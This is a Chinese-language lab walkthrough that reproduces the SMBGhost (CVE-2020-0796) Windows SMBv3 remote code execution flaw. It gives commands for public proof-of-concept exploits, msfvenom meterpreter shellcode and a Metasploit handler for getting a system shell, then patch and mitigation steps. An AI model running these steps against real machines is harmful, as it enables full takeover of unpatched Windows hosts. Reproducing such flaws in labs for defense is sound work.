CVE-2020-0796漏洞复现(RCE)

0x01 漏洞简介

2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。
该漏洞的后果十分接近永恒之蓝系列,都利用Windows SMB漏洞远程攻击获取系统最高权限,WannaCry勒索蠕虫就是利用永恒之蓝系列漏洞攻击工具制造的大灾难。除了直接攻击SMB服务端造成RCE外,该漏洞得亮点在于对SMB客户端的攻击,攻击者可以构造特定的网页,压缩包,共享目录,OFFICE文档等多种方式触发漏洞进行攻击。

0x02 影响范围

漏洞不影响win7,漏洞影响Windows 10 1903之后的各个32位、64位版Windows,包括家用版、专业版、企业版、教育版。
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)

SMB介绍

Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。

0x03 复现步骤

环境要求

1.win10虚拟机(1903或者1909版本)
ip:192.168.5.131
这里给一个win10 1903版本的镜像

ed2k://|file|cn_windows_10_business_editions_version_1903_updated_sept_2019_x64_dvd_2f5281e1.iso|5231140864|B1D5C4C401036B0B1EBA64476A95F338|/

2.关闭defender和防火墙
3.Kali Linux(确保可以和win10虚拟机ping通)
ip:192.168.5.128

利用步骤

(1)首先检测目标是否存在漏洞,下载检测POC
//github.com/ollypwn/SMBGhost
控制台输入python3 scanner.py <目标ip>来进行检测

发现存在漏洞
(2)然后下载利用poc
git clone //github.com/chompie1337/SMBGhost_RCE_PoC.git
然后切换到对应目录下找到exploit.py

再找到这一段

(3)生成python的反弹shellcode

msfvenom -p windows/x64/meterpreter/bind_tcp lport=1234 -f py -o exp.py



然后将shellcode里的buf全部改成USER_PAYLOAD再将修改好的shellcode粘贴到exploit.py上我们刚才找到的位置,以便将获得的shell反弹到我们的kail上

(4)启动msfconsole,设置监听端口
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set rhost 192.168.5.145
rhost => 192.168.5.145
msf5 exploit(multi/handler) > set lport 1234
lport => 1234
msf5 exploit(multi/handler) > run
开启监听端口后,再去运行exploit.py
python3 exploit.py -ip 192.168.5.145

成功反弹shell,查看当前用户权限

注意:虽然这次成功了,但是这个rce的poc还不是很稳定,经常容易打蓝屏和死机。

本地提权

利用这个漏洞的还可以本地提权,就不赘述了。
//www.fr1sh.com/?post=26

0x04 漏洞修复

1. 更新,完成补丁的安装。
操作步骤:设置­>更新和安全­>Windows更新,点击“检查更新”。
2.微软给出了临时的应对办法:
运行regedit.exe,打开注册表编辑器,在
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一个名为
DisableCompression的DWORD,值为1,禁止SMB的压缩功能。
3.对SMB通信445端口进行封禁。
4.补丁链接
//catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4551762